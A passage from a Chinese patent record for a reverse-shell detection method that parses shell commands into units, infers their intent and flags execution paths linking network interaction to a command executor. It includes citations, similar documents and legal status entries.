对所述至少一个命令单元进行意图分析,获取所述命令执行意图。
4.根据权利要求3所述的方法,其中,对所述至少一个命令单元进行意图分析,获取所述命令执行意图,包括:
确定所述第一shell命令的第一代码语言;
基于所述第一代码语言,获得与所述第一代码语言对应的意图标签库,所述意图标签库包括所述第一代码语言中至少部分基础命令的功能属性;
根据所述意图标签库对所述至少一个命令单元进行解析,得到针对每个所述命令单元的命令执行意图。
5.根据权利要求4所述的方法,其中,所述根据所述意图标签库对所述至少一个命令单元进行解析,得到针对每个所述命令单元的命令执行意图,包括:
获取所述一个命令单元中的基础命令以及所述基础命令的执行对象;
基于所述基础命令的功能属性以及所述基础命令的执行对象,获得针对每个所述命令单元的命令执行意图。
6.根据权利要求5所述的方法,其中,所述获得针对每个所述命令单元的命令执行意图,包括:
确定每个所述命令单元中的管道信息、文件信息、网络交互信息、输入信息、输出信息、命令执行器中的至少一个。
7.根据权利要求3所述的方法,其中,所述基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径,包括:
根据所述命令执行意图,获取所述至少一个命令单元中满足第二预设条件的目标命令单元以及所述目标命令单元之间的关联关系;
基于所述关联关系,确定所述目标命令单元之间的命令执行路径。
8.根据权利要求7所述的方法,其中,所述第二预设条件包括:所述命令单元所对应的节点存在网络交互、存在命令执行器、存在管道中的至少一个。
9.根据权利要求1所述的方法,其中,所述响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令的检测结果之前,还包括:
确定所述命令执行路径为闭环路径;
其中,所述命令执行路径为闭环路径包括:所述第一服务器从所述第二服务器获取第二命令并执行所述第二命令,以及将执行结果发送至所述第二服务器。
10.根据权利要求1所述的方法,其中,所述第一预设条件包括:
所述命令执行路径中存在网络节点;
所述命令执行路径中存在执行器节点;
以及,所述网络节点与所述执行器节点直接或间接连通。
11.一种反弹shell检测装置,包括:
获取模块,被配置为:获取第一shell命令;
分析模块,被配置为:对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图;
路径构建模块,被配置为:基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径;
检测模块,被配置为:响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令是否为反弹shell入侵命令。
12.一种电子设备,包括存储器、处理器及存储在存储器上并可在处理器上运行的计算机程序,所述处理器执行所述程序时实现如权利要求1至10任一项所述的反弹shell检测方法。
13.一种非暂态计算机可读存储介质,所述非暂态计算机可读存储介质存储计算机指令,所述计算机指令用于使所述计算机执行权利要求1至10任一项所述的反弹shell检测方法。
CN202311842128.8A 2023-12-28 2023-12-28 反弹shell检测方法、装置、电子设备及存储介质 Pending CN117807595A (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN202311842128.8A CN117807595A (zh) 2023-12-28 2023-12-28 反弹shell检测方法、装置、电子设备及存储介质

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN202311842128.8A CN117807595A (zh) 2023-12-28 2023-12-28 反弹shell检测方法、装置、电子设备及存储介质

Publications (1)

Publication Number Publication Date
CN117807595A true CN117807595A (zh) 2024-04-02

Family

ID=90421568

Family Applications (1)

Application Number Title Priority Date Filing Date
CN202311842128.8A Pending CN117807595A (zh) 2023-12-28 2023-12-28 反弹shell检测方法、装置、电子设备及存储介质

Country Status (1)

Country Link
CN (1) CN117807595A (zh)

Citations (6)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN103532760A (zh) * 2013-10-18 2014-01-22 北京奇虎科技有限公司 用于分析在各主机上执行的命令的分析设备、系统和方法
CN105069355A (zh) * 2015-08-26 2015-11-18 厦门市美亚柏科信息股份有限公司 webshell变形的静态检测方法和装置
US20170270296A1 (en) * 2016-03-15 2017-09-21 Carbon Black, Inc. System and Method for Reverse Command Shell Detection
US20180060569A1 (en) * 2016-08-26 2018-03-01 Qualcomm Incorporated Detection and Prevention of Malicious Shell Exploits
CN113449298A (zh) * 2020-03-24 2021-09-28 百度在线网络技术(北京)有限公司 一种反弹shell进程的检测方法、装置、设备和介质
CN116800438A (zh) * 2022-03-14 2023-09-22 网宿科技股份有限公司 一种反弹shell检测方法及装置

Patent Citations (6)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN103532760A (zh) * 2013-10-18 2014-01-22 北京奇虎科技有限公司 用于分析在各主机上执行的命令的分析设备、系统和方法
CN105069355A (zh) * 2015-08-26 2015-11-18 厦门市美亚柏科信息股份有限公司 webshell变形的静态检测方法和装置
US20170270296A1 (en) * 2016-03-15 2017-09-21 Carbon Black, Inc. System and Method for Reverse Command Shell Detection
US20180060569A1 (en) * 2016-08-26 2018-03-01 Qualcomm Incorporated Detection and Prevention of Malicious Shell Exploits
CN113449298A (zh) * 2020-03-24 2021-09-28 百度在线网络技术(北京)有限公司 一种反弹shell进程的检测方法、装置、设备和介质
CN116800438A (zh) * 2022-03-14 2023-09-22 网宿科技股份有限公司 一种反弹shell检测方法及装置

Non-Patent Citations (4)

* Cited by examiner, † Cited by third party
Title
ALASMARY, HISHAM ET AL.: "SHELLCORE: Automating Malicious IoT Software Detection Using Shell Commands Representation", 《IEEE INTERNET OF THINGS JOURNAL》, 17 February 2022 (2022-02-17), pages 2485 - 2496 *
BRONJON GOGOI ET AL.: "PHP web shell detection through static analysis of AST using LSTM based deep learning", 《 2022 FIRST INTERNATIONAL CONFERENCE ON ARTIFICIAL INTELLIGENCE TRENDS AND PATTERN RECOGNITION》, 3 August 2022 (2022-08-03), pages 1 - 6 *
张宇涵 等: "基于LSTM和TF-IDF的反弹Shell检测方法", 《通信技术》, 31 December 2020 (2020-12-31), pages 3046 - 3050 *
蔡国宝: "针对新型webshell的检测方法研究", 《中国优秀硕士学位论文全文数据库(信息科技辑)》, 15 February 2023 (2023-02-15), pages 139 - 50 *

Similar Documents

Publication Publication Date Title
US8850581B2 (en) Identification of malware detection signature candidate code
US7849509B2 (en) Detection of security vulnerabilities in computer programs
US8117660B2 (en) Secure control flows by monitoring control transfers
US9189375B1 (en) Dynamic sandboxing
KR20200052957A (ko) 보안 제어 방법 및 컴퓨터 시스템
CN109271789B (zh) 恶意进程检测方法、装置、电子设备及存储介质
EP2881877A1 (en) Program execution device and program analysis device
US10579799B2 (en) System and method for execution of objects lacking rules of interpretation
CN113961919B (zh) 恶意软件检测方法和装置
US10310956B2 (en) Techniques for web service black box testing
US9026612B2 (en) Generating a custom parameter rule based on a comparison of a run-time value to a request URL
US9507693B2 (en) Method, device and computer-readable storage medium for closure testing
US11916937B2 (en) System and method for information gain for malware detection
CN113312618A (zh) 程序漏洞检测方法、装置、电子设备及介质
CN113391874A (zh) 一种虚拟机检测对抗方法、装置、电子设备及存储介质
CN103810096A (zh) 混合程序分析方法和系统
KR20210045122A (ko) 기호 실행을 사용하는 소프트웨어 테스트 입력 생성 장치 및 방법
CN108830077B (zh) 一种脚本检测方法、装置及终端
Kim et al. {FuzzOrigin}: Detecting {UXSS} vulnerabilities in browsers through origin fuzzing
CN106502707B (zh) 代码生成方法及装置
WO2020111482A1 (ko) 프로그램 실행 컨텍스트 기반의 빅데이터를 활용한 역공학 방법 및 시스템
US20230141948A1 (en) Analysis and Testing of Embedded Code
KR102132449B1 (ko) 자바스크립트 파일 재작성을 통한 자바스크립트 해석 엔진 테스트 방법 및 장치
KR102323621B1 (ko) 펌웨어 퍼징 장치 및 방법
CN117807595A (zh) 反弹shell检测方法、装置、电子设备及存储介质

Legal Events

Date Code Title Description
PB01 Publication
PB01 Publication
SE01 Entry into force of request for substantive examination
SE01 Entry into force of request for substantive examination